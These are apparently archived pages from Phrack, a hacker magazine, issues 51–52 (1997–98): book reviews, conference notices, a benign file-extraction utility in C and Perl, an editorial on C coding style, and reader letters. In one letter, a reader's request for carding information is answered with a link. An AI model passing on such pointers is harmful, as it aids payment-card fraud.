A few people will have heard me mention this book already, but I think there are bits and pieces of this book which will surprise quite a few people. Most of us are used to reading stories about hacking by the people who did the catching of the hackers...this one is an ongoing story of the local hacker scene...with not so local contacts and exploits.

Some of the important things to note are just how well they do work together, as well as competing with each other and what they do when they get pissed off with each other. Meanwhile most of the white hats are too busy trying to hoard information from the other white hats...

Having been on the "victim" side in the past, it is quite frustrating when someone you've worked to have arrested gets off with a fine. Most of us would agree that they should be locked up somewhere, but according to what's in the book, most of them are suffering from either problems at home or other mental disorders (including one claim in court to being addicted to hacking). Anyone for a "Hackers Anonymous Association" for help in drying out from this nefarious activity ? At least in one case documented within the perpetrators get sentenced to time behind bars.

It's somewhat comforting to read that people have actually broken into the machines which belong to security experts such as Gene Spafford and Matt Bishop, although I'd have preferred to have not read how they successfully broke into the NIC :‑/ Don't know about you, but I don't care what motives they have, I'd prefer for them to not be getting inside machines which provide integral services for the Internet.

For all of you who like to hide behind firewalls, in one instance a hacker comes in through X.25 and out onto the Internet. Nice and easy 'cause we don't need to firewall our X.25 connection do we ? :‑)

Oh, and just for all those VMS weenies who like to say "We're secure, we run VMS not Unix" ‑ the first chapter of the book is on a VMS worm called "WANK" that came close to taking the NASA VMS network completely off air. I wonder how long it will take for an NT equivalent to surface...

All in all, a pretty good read (one from which I'm sure hackers will learn just as much from as the rest of us).

The book's details are:

Title: UNDERGROUND ‑ Tales of Hacking, madness and obsession on the Electronic Frontier

ISBN 1‑86330‑595‑5

Author: Suelette Dreyfus

Publisher: Random House

Publisher's address: 20 Alfred St, Milsons Point, NSW 2061, Australia Price: AUS$19.95

before I forget, the best URL for the book I've found is:

http://www.underground‑book.com (http://underground.org/book is a mirror)

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Book Title: "Hackers"

Poster: Paul Taylor P.A.Taylor@sociology.salford.ac.uk

There's an open invite for people to contact me and discuss the above and/or anything else that they think is relevant/important.

Below is a brief overview of

the eventual book's rationale and proposed structure.

Hackers: a study of a technoculture

Background

"Hackers" is based upon 4 years PhD research conducted from 1989‑1993 at the University of Edinburgh. The research focussed upon 3 main groups: the Computer Underground (CU); the Computer Security Industry (CSI); and the academic community. Additional information was obtained from government officials, journalists etc.

The face‑to‑face interview work was conducted in the UK and the Netherlands. It included figures such as Rop Gongrijp of Hack‑Tic magazine, Prof Hirschberg of Delft University, and Robert Schifreen. E‑mail/phone interviews were conducted in Europe and the US with figures such as Prof Eugene Spafford of Purdue Technical University, Kevin Mitnick, Chris Goggans and John Draper.

Rationale

This book sets out to be an academic study of the social processes behind hacking that is nevertheless accessible to a general audience. It seeks to compensate for the "Gee‑whiz" approach of many of the journalistic accounts of hacking. The tone of these books tends to be set by their titles: The Fugitive Game; Takedown; The Cyberthief and the Samurai; Masters of Deception ‑ and so on ...

The basic argument in this book is that, despite the media portrayal, hacking is not, and never has been, a simple case of "electronic vandals" versus the good guys: the truth is much more complex. The boundaries between hacking, the security industry and academia, for example, are often relatively fluid. In addition, hacking has a significance outside of its immediate environment: the disputes that surround it symbolise society's attempts to shape the values of the informational environments we will inhabit tomorrow.

Book Outline

Introduction ‑ the background of the study and the range of contributors

Chapter 1 ‑ The cultural significance of hacking: non‑fiction and fictional portrayals of hacking.

Chapter 2 ‑ Hacking the system: hackers and theories of technological change.

Chapter 3 ‑ Hackers: their culture.

Chapter 4 ‑ Hackers: their motivations

Chapter 5 ‑ The State of the (Cyber)Nation: computer security weaknesses.

Chapter 6‑ Them and Us: boundary formation and constructing "the other".

Chapter 7 ‑ Hacking and Legislation.

Conclusion

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Convention: Cybercrime Conference Announcement

Date: Oct 29 ‑ 31

Cybercrime; E‑Commerce & Banking; Corporate, Bank & Computer Security; Financial Crimes and Information Warfare Conference will be held October 29, 30, & 31, 1997 (Washington, D.C.) and November 17 & 18 (New York City) for bankers, lawyers, information security directors, law enforcement, regulators, technology developers/providers.

Responding to the global threat posed by advancing technology, senior level decision makers will join together to share remedies and solutions towards the ultimate protection of financial and intellectual property; and against competitive espionage and electronic warfare. An international faculty of 30 experts will help you protect your business assets, as well as the information infrastructure at large.

There will also be a small technology vendor exhibition.

Sponsored by Oceana Publications Inc. 50 year publisher of international law, in cooperation with the Centre for International Financial Crimes Studies, College of Law, University of Florida, and Kroll Associates, a leading investigative firm. For more information call

800/831‑0758 or

914/693‑8100; or e‑mail: Oceana@panix.com.

http://www.oceanalaw.com/seminar/sem_calendar.htm

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Convention: Computers & The Law IV Symposium

Date: October 6‑9, Boston

Computers & The Law IV is the only event to bring together corporate decision‑makers, computer professionals and legal experts to discuss Internet

and Web technology in the eyes of the law. This conference provides a forum and educational opportunities for all those interested in keeping their system investment safe and within the law.

Topics will include:

* Corporate liablity on the Internet

* Internet risk management in the enterprise

* Hiring a SysAdmin you can trust

* Legal risks of Internet commerce

* Establishing a fair‑use policy

* Prosecuting system intruders

* Communicating with your SysAdmin

* Understanding copyright law

* Assessing your exposure to hackers

* Employee privacy vs. owner rights

... and much more!

FOR MORE INFORMATION CONTACT

The Sun User Group * 14 Harvard Ave, 2nd Floor * Allston, MA 02134 (617)787‑2301 * conference@sug.org * http://www.sug.org/CL4

extract.c

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 17 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Phrack Magzine Extraction Utility

‑‑‑‑‑‑‑‑[ Phrack Staff

This time around, you have the option of using the C version of extract, or the PERL version, contributed by Daos.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* extract.c by Phrack Staff and sirsyko

*

* (c) Phrack Magazine, 1997

*

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory strcuture. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* gcc ‑o extract extract.c

*

* ./extract filename

*/

#include <stdio.h>

#include <sys/stat.h>

#include <string.h>

int main(int argc, char **argv){

char *s="<++> ",*e="<‑‑>",b[256],*bp;

FILE *f,*o = NULL;

int l, n, i=0;

l = strlen(s);

n = strlen(e);

if(argc<2) {

printf("Usage: %s <inputfile>\n",argv[0]); exit(1);

}

if(! (f=fopen(argv[1], "r"))) {

printf("Could not open input file.\n");

exit(1);

}

while(fgets(b, 256, f)){

if(!strncmp (b, s, l)){

b[strlen(b)‑1] = '\0';

if((bp=strchr(b+l+1,'/')))

while (bp){

*bp='\0';

mkdir(b+l, 0700);

*bp='/';

bp=strchr(bp+1,'/');

}

if((o = fopen(b+l, "w")))

printf("‑ Extracting %s\n",b+l);

else {

printf("Could not extract '%s'\n",b+l);

exit(1);

}

}

else if(!strncmp (b, e, n)){

if(o) fclose(o);

else {

printf("Error closing file.\n");

exit(1);

}

}

else if(o) {

fputs(b, o);

i++;

}

}

if(!i) printf("No extraction tags found.\n");

return(0);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Daos <daos@nym.alias.net>

<++> extract.pl

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

52

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Line Noise by various

- Phrack Prophile on o0 by Phrack Staff

- Everything a hacker needs to know about getting busted by Agent Steal

- Hardening the Linux Kernel by daemon9

- The Linux pingd by daemon9

- Steganography Thumbprinting by unknown

- On the Morality of Phreaking by Phrack Staff

- A Quick NT Interrogation Probe by twitch

- Subscriber Loop Carrier by voyager

- Voice Response Systems by voyager

- Pay Per View (you don't have to) by cavalier

- The International Crime Syndicate Association by D. Demming

- Digital Certificates by Yggdrasil

- Piercing Firewalls by bishnu

- Protected mode programming and O/S development by mythrandir

- Weakening the Linux Kernel by plaguez

- Phrack World News by disorder

- extract.c by Phrack Staff

Introduction

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 01 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 2 I N D E X

‑‑‑‑‑‑‑‑[ Choose your own $PATH adventure

Whew. You would be quite surprised at the evil wheels I had to set in motion in order to get this issue out. According to Newton, a Phrack Issue remains at rest or continues to move in a straight line with a uniform velocity if there is no unbalanced force acting on it. This issue was at rest. Its velocity was constant. And there were few forces acting on it. Anyhow, after many machinations it's here. Enjoy.

I have a gripe. Something upon which I'd like dwell for a spell. Let's talk about coding aesthetic (from the C programming standpoint). Now, this is not a harangue about effective coding or efficient coding, I'll save those for some other time (perhaps for the time when I feel I can write effective and efficient code proficiently enough to vituperate to those who do not). I want to touch down on a few topics of visual appeal, which are overlooked so often.

The five major areas I will cover are indentation, brace placement, use of whitespace, commenting, as well as variable and function nomenclature. I suppose I should also mention that coding style is a personal preference type of thing. There are all kinds of schools of thought out there, and all kinds of methodologies on how to write pretty code. In the grand scheme of things, none are really any more correct than any others, except mine.

C is, for the most part, a format free programming language. Code can be written with all manner of whitespace, tabs, and newlines. The compiler certainly doesn't care. The machine doesn't care. This can be a double edged sword. There is quite a bit of room for artistic interpretation. And just like in real life, there is a lot of crappy art out there.

Indenting your code is a must. Please, do this. Indentation is here for one simple reason: to clearly and unequivocally define blocks of control. However, 8 space tabstops are overkill. Unless you are using a 2 point font on a 13" screen, 4 spaces should easily define your control blocks. This allows you to maintain clarity on an 80 column screen while nesting blocks of control much deeper then you would with 8 space tab stops. 2 space tabstop advocates should be shot. However, don't let typography take over your code (ala ink obscuring the intent). If you have 7 million levels of indentation, perhaps you should rethink your approach to tackling the problem...

Bracing has a simple solution. The most effective use of bracing is in placing them on newlines so that they neatly enclose the area of control. This is especially important with nested levels of control. I know this generates empty lines. Oh well. They're free. Blocks of control become easily visible and it is easy to isolate one from another. This goes for functions as well as conditionals and loop structures. I know I go against K&R here. Oh well.

In the pursuit of clear, readable code, whitespace is your friend. Single space all keywords and all variables and constants separated by commas. It's a simple thing to do to drastically improve readability. When you have a series of assignments, one after another, it's a nice touch to line them up on the closest relative 4 space boundary. And please, no spaces between structure pointer operators and structure contents.

Commenting is a delicate matter. Descriptive, concise, well written code shouldn't really need commenting, or at least very much of it. But this isn't a rant about descriptive, concise, well written code. If you feel the need to comment your code, follow a few simple rules:

‑ Keep the comment block as small as possible.

‑ Don't tab out your comment frames to line up with each other. That's just plain fucking annoying. If you're doing that, you have too many comments anyway.

‑ Commenting datatype declarations rather then the functions that manipulate them is usually more helpful.

‑ If you must comment, keep your style as consistent as possible. If the commenting detracts from the readibilty of your code, you've just ponied up any clarification you might have achieved with the commenting.

The major exception to these rules are file headers. The beginning of source and header files should always have some descriptive information, including: file name, author, purpose, modification dates, etc... These comment blocks should always have a simple vertical line of unobtrusive astricks, framed with the required forward slashes. People using C++ style commenting in C programs should be drawn and quartered.

The other exception to this rule is when you are writing code specifically for the benefit of others. If the code is intended to be a learning tool, copious commenting is allowable.

Variable and function nomenclature should have connotation as to what their purpose in life is. As short as possible while still preserving some sort of identity. Descriptive names are wonderful, but don't go overboard. Generally, a condensed one or two word descriptor (possiblely connected via an underscore) will work fine. And please, no mixed case. The only time uppercase characters should appear in C code are in symbolic constants and macros (and possibly strings and comments).

This tirade is the result of my experiences in reading and writing C code. In my travels as a stalwart mediocre programmer, I have progressed through many levels of maturity in my programming style. Much of my old code exhibits many of the very things eschewed as anathema in this jeremiad. Well, what can I say? I believe that I have grown. I am at home with the me. This is me breathing. (Tell me what movie that's from, and I will give you a Phrack Donut.)

Enjoy the magazine. It is by and for the hacking community. Period.

‑‑ Editor in Chief ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ route

‑‑ Director of Public Operations ‑‑[ dangergirl

‑‑ Phrack World News ‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ disorder

‑‑ Werdsmith ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ loadammo

‑‑‑‑‑‑‑‑ Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> asriel

‑‑ Santa vs. Jesus ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ ISS vs. SNI

‑‑ Festively Plump ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Cartman

‑‑ Extra Special Thanks ‑‑‑‑‑‑‑‑‑‑‑[ No one.

‑‑ Official Phrack CD ‑‑‑‑‑‑‑‑‑‑‑‑‑[ FLA/Flavour of the Weak

‑‑ Official Phrack Drink ‑‑‑‑‑‑‑‑‑‑[ `The C Kilborn` (2.9 parts ketel one,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| .1 parts tonic)

‑‑ Shout Outs and Thank Yous ‑‑‑‑‑‑[ Lords of Acid, cantor, Yggdrasil,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| snokerash, Voyager, TNO, Jeff Thompson,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| angstrom, redragon, Rob Pike, halflife

‑‑ B.A. Baracus Phrack Fracas ‑‑‑‑‑[ loadammo vs. Death Veggie

‑‑ Original flip.c author (props) ‑[ datagram

‑‑ Gas Face Given (drops) ‑‑‑‑‑‑‑‑‑[ solo, klepto

Phrack Magazine V. 8, #52, January 26, 1998. ISSN 1068‑1035 Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Subscription requests, articles, comments, whatever should be directed to:

phrackedit@phrack.com

Submissions to the above email address may be encrypted with the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=

=1iyt

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of the * editors and contributors, truthful and accurate. When possible, all facts * are checked, all code is compiled. However, we are not omniscient (hell, * we don't even get paid). It is entirely possible something contained * within this publication is incorrect in some way. If this is the case, * please drop us some email so that we can correct it in a future issue. *

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for the * entirely stupid (or illegal) things people may do with the information * contained here‑in. Phrack is a compendium of knowledge, wisdom, wit, and * sass. We neither advocate, condone nor participate in any sort of illicit * behavior. But we will sit back and watch.

*

*

* Lastly, it bears mentioning that the opinions that may be expressed in the * article of Phrack Magazine are intellectual property of their authors. * These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T A B L E O F C O N T E N T S

1 Introduction Phrack Staff 12K

2 Phrack Loopback Phrack Staff 60K

3 Line Noise various 79K

4 Phrack Prophile on o0 Phrack Staff 07K

5 Everything a hacker needs to know about getting busted Agent Steal 72K

6 Hardening the Linux Kernel daemon9 42K

7 The Linux pingd daemon9 17K

8 Steganography Thumbprinting anonymous 35K 9 On the Morality of Phreaking Phrack Staff 19K 10 A Quick NT Interrogation Probe twitch 18K

11 Subscriber Loop Carrier voyager 48K

12 Voice Response Systems voyager 18K

13 Pay Per View (you don't have to) cavalier 19K 14 The International Crime Syndicate Association D. Demming 20K

15 Digital Certificates Yggdrasil 14K

16 Piercing Firewalls bishnu 31K

17 Protected mode programming and O/S development mythrandir 76K

18 Weakening the Linux Kernel plaguez 27K

19 Phrack World News Disorder 64K

20 extract.c Phrack Staff 08K

687K

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When Sen. Bob Kerrey (D‑Neb.) was asked to define encryption, the results were horrific. "Well, I mean, to answer your question, I mean, encryption is ‑‑ the political equivalent of encryption is you ask me a question, I give you an answer and you don't understand it," he managed. "I mean, I intentionally garble the answer frequently. I intentionally garble the response so that you can't understand what I'm saying. And that's ‑‑ you notice that I've got the ability to do that."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 02 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 52 L O O P B A C K

‑‑‑‑‑‑‑‑[ Phrack Staff

[ Ed. note: The letters are perhaps editted for format, but generally not for grammar and/or spelling. I try not to correct the vernacular, as it often adds a colorful perspective to the letter in question. ]

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P51‑02@0x14: ...Xarthons submission about Linux IP_MASQ in Phrack 50... ]

In reply to Swift Griggs ranting about my stupidity, (and disrespekt i recieved from the rest of the AOL community)

Swift: the 'problem' in IP_MASQ which I reported was not meant to be considered a security problem, rather a notification of a potential problem, or at least this is what i was told.

i stole this 'problem' from a evil hacker who works for the NSA. at the time, if i had been aware that the info i ripped from him was totally false, i would have said so in the letter. and believe me, if [named_removed] was awake more than 5 minutes a day i would be severely anal at him for informing me of this false intelligence.

the main thing the hacker/phracker/aol community needs to learn from this event is that when giving information to be ripped, it should be correct. next time ill make sure to reword the context i have pasted with GPM properly.

btw, i must apologize for the tabs in this letter, pico has proven difficult to use.

i must go, i have to pry this gerbil off my flacid cock.

thanks, and keep hackin!

xarthon

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P51‑02@0x1b: You have our permission to write r00t on your backpack. ]

That may be the funniest response to a letter I have ever read. Your response to MICH Kabay was a close second.

The wait was well worth it. I would rather see quality Phrack 2 or 3 times a yar than crap delivered every 3 months. I have to get back to reading now....

pip (John)

[ Go away Pip, nobody likes you. ]

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P51‑02@0x2c: I have a question regarding a certain piece of hardware... ]

It's a barcode scanner used at some terminals, such as public libraries. You plug it in between the keyboard and the computer, and when you want to scan in a barcode from a book being checked out or an item being purchased, you push the button on the SCANNER and it outputs the barcode in ASCII numeric just as if it had been typed in from the keyboard. So, now ya know.

Unknown/604

‑‑

d00d, that's a s00p3r s3kr3t CIA, FBI g0vt. c0nspir@cY k3yb0ard f1lt3r!!@@!21

Actually, your mystery device sounds more like the "box" that connects between the keyboard and a barcode scanner. The "SCANNER" connector is where you'd plug in a typical "wand" or "gun" barcode reader. Not much you can do with it by itself, IMO. Again, it might be something else, but that's what it sounds like to me.

nate@millcomm.com

‑‑

What this sounds like is the interface from one of the wand or lightgun‑type laser barcode readers. These can be seen in action at some of the retail outlets around here for reading barcodes from clothing price tags or whatnot. One of those useful inventions that came out of turning 386's into POS terminals.

It's probably useless without the accompaning wand, but you might keep it around and try to find the missing part.

wiz

‑‑

[ We received a gaggle of responses to this inquiry. To those of you who sent in responses, our humblest thanks. ]

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi!

I need your help!

Tell me, please, where I can found information via Internet

about Carding (Scheme of reader/writer and etc.)

thanks.

Bye.

[ http://www.etexguide.com/cardtricks ]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P50‑03: Portable BBS Hacking by: Khelbin ]

Dear Phrack,

An old article of mine entitled "Portable BBS Hacking" appeared in Phrack issue 50 under the line noise section. In Phrack 51, a reader expressed that he/she was frustrated at not being able to apply the techniques that were described in my article. Please publish this response in Phrack 52

Let me state right off the bat that "Portable BBS Hacking" was not written to specifically expose any one software‑specific problem. Instead, the article introduced a potential security threat to all BBS software so that SysOps around the globe could check for such vulnerabilities and correct the problem if it was present. A 'mock' Renegade setup was used just because some software had to be used in order to explain the theory behind the attack.

Now to address the frustrated reader who is obviously aspiring to become an ever‑so‑elite BBS‑h4x0r! While I often enjoy toking on a crack pipe, this method was tested prior to writing this article. It was tested on Renegade 04‑x quite some time ago (as the article had been written some time ago, but never published). I currently run FreeBSD 2.2.2, so I havn't been able to do any more testing to help you hack BBS' and become ph33red. *BUT*, I am sure that versions of THD ProScan (a utility to scan uploaded files for viruses and other problems) will foil this attack. I am also sure (just by what I remember of how Renegade works) that If you follow the steps that I gave you in Phrack 50 correctly, upload a file, and then the SysOp were to (X)tract files from that file into \temp that it would work. I am also sure that there are other packages out there other than THD ProScan that do the same thing, but not in a secure fashion. The methods described in "Portable BBS Hacking" will also work with these packages. I hope you weren't just having Renegade check the file integrity with pkunzip ‑t or just view the contents of the zipfile. Your response wasn't very specific so it's hard for me to be specific in this reply however, I can tell that you also enjoy an occasional joint of crack, so feel free to contact me sometime and we'll smoke!

Yours Truly,

Khelbin Sunvold

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

What program do I have to use in order to read the Phrack Magazine?

Thank you,

Adrian

[ We at Phrack Magazine do not explicitly endorse any particular program, however, many 12 step programs work wonders: Narcotics Anonymous, Overeaters Anonymous, Codependency Anonymous, Debtors Anonymous, Beyond Controloholism, Science Fiction Addiction, etc. Also try:

`gzip ‑dc phrack.tgz | tar xvf ‑`. ]

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Please allow me to introduce myself. My name is Itai Dor‑on and I am a system integrator From Israel.

[ No introductions are necessary. ]

I got the phrack.com address from one of the subscribers on the firewalls@GreatCircle.COM mailing list in response to my inquiry on smtp exploits. (phrack 50)

[ shattered:~/Phrack/50:~> grep ‑i SMTP * | grep ‑i exploit shattered:~>

There are no SMTP related exploits in Phrack 50. ]

I downloaded the file but it seems that it is encoded in a format which I can not read. I use windows 95/NT. I would like to know if there is a special viewer for the file.

[ See above letter. ]

Is there other informative information in the phrack.com site that is relevant to Security exploits in tcpi/ip

[ Phrack 48 ‑ 52 ]

I thank you in advance for any response

Yours Truly,

Itai Dor‑on

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack is the best magazine of its kind I've ever seen !!! Maybe you could write something about tapping telephone wires in order to record data and fax on a portable tape recorder. I've read an article from Damnation that was pretty good, but maybe you could give me, and the other readers of course, some additional information. I'm also interested in hacking the E‑mail server of my ISP in order to read my teacher's mail, so what kind of program do I need to do this ? I know his login but I don't know his password. I've got a terminal program called Dialog that doesn't seem to be very useful, but maybe you know a better one ?!? Now, my last question: I'm using CuteFTP to log on to my homepage's folder . One day I've found some write protected folders and files, so my question is how do I get access to these files and how do I go to other folders to which I'm not allowed to go (hidden,write‑protected, etc.) ?

Thank you very much in advance !

Host

[ I had a flame all ready and prepared, but this letter really seems to set itself on fire. ]

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey guys, I'm a first time ready and, well duh, first time responder to yer mag...I must say that I am thoroughly impressed with what you've all put together...as a Linux user, it shall certainly be a very useful utility/resource for me...I just nabbed the 51st issue and it rocks thus far...downloading the other issues as I type this...just thought you might like to know ya got another reader who is overjoyed at getting off his lazy ass and finally reading yer mag which i've heard about in the past... Ezines never were something for me but i said fuckit and went for Phrack.. your mag is the most informative and entertaining Ezine that i've seen to date (and i been on the 'net for 4+ years now...that might say something) anyhow, enuf blabber from me, L8!

‑GnEaThEg0d

[ Well, thank you very much. ]

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'd like to congratulate Narbo on his brief introduction to CCS7. I was begining to think that noone was interested in telecommunications anymore.

[ Agreed. Note that we would very much appreciate further submissions of this kind. ]

One thing I'd like to add for Phrack's Japanese audience is that they are the odd balls when it comes to signaling data links. While signaling data links are 56kbps in North America and 64kbps virutally everywhere else, Japan uses 4.8kbps links. Actually I guess we, in North America, are also a little odd at 56kbps but at least it's closer to the norm. :)

‑khelbin

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Yea, I wanna subscribe to phrack..This is my e‑mail address..noah6@juno.com...Sign me up if I'm writing the right place..if not..tell me how to subscribe

later

oh yea..I know I'm not supposed to ask..but I don't have internet access..I could use all the back issues of phrack in one big long letter if you could..I can't recieve files with this account..so if you could cut and paste or some shit...

later

[ Sure. Let me get right on that. Even better, what's your postal address? I'll have the Phrack Tactical Team deployed to your house to come hit you on the head with a tack hammer because you are a retard. ]

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Good issue, by the way...

[ Thanks! ]

So whassup with the Milla pictures? Did you mention them in P51‑1 just to taunt us? How do you get the _non_ASCII version of P51?

You're too cruel... :‑)

JSRS

[ Sorry. That Carl's fault. He's new. (Moo. Moo moo.) ]

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To the Anti‑Christ,

[ Apparently, there was a postal mix‑up and we are now getting Satan's mail. ]

When I grow up I want to be just like you.

[ Great! So, I'll see you at the next Klan‑youth meeting? ]

That said, can you walk the talk? If so, I have a challenge for you.

[ 'walk the talk'? Note: This is email. Something you've mailed to a whiley bunch of knuckle‑knobs. And quite possibly something that could be used to make others laugh at your expense. In the future, take the time to grammar and spell check your letters to minimize the emotional damage you are bound to suffer. ]

I am a neophyte in the

DarkSide,and need some help catching/avoiding a phreaker,hence the interest in your mag. He breaks into phone lines at home and work. Tapes conversations and interjects various rude noises on important calls. Do you have any ideas as to what I can/should do to protect my

[ Sommy! ]

privacy and catch this guy? If this is not within your realm of expertise, can you refer me to someone for whom it is?

[ Try the PHONE COMPANY. ]

Don't take my intial inquiry as anythng but an effort to become part of the hacker/phreaker world for the sake of my own protection. I

[ For your own protection, I suggest NOT becoming part of *any* community. Live the rest of your life as a hermit inside a hollowed‑out oaktree. ]

understand there are many 'good' hackers in your world willing to offer assistance in this arena.

Your assistance would be greatly appreciated. Thanks.

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sirs,

First,thanks for the obvious hard work that goes into your 'zine. I guess I'm what you what you would call a "tryin' to be". I've got all the back issues and read some every day.I was just reading 51,and had to say that besides all the other great things in the 'zine,it's great to see some people still have a great f*ckin' sense of humor.

Thanx again,

(to busy trying to learn to have come up

with a cool handle)...R

[ Stop it. I'll get a big head. ]

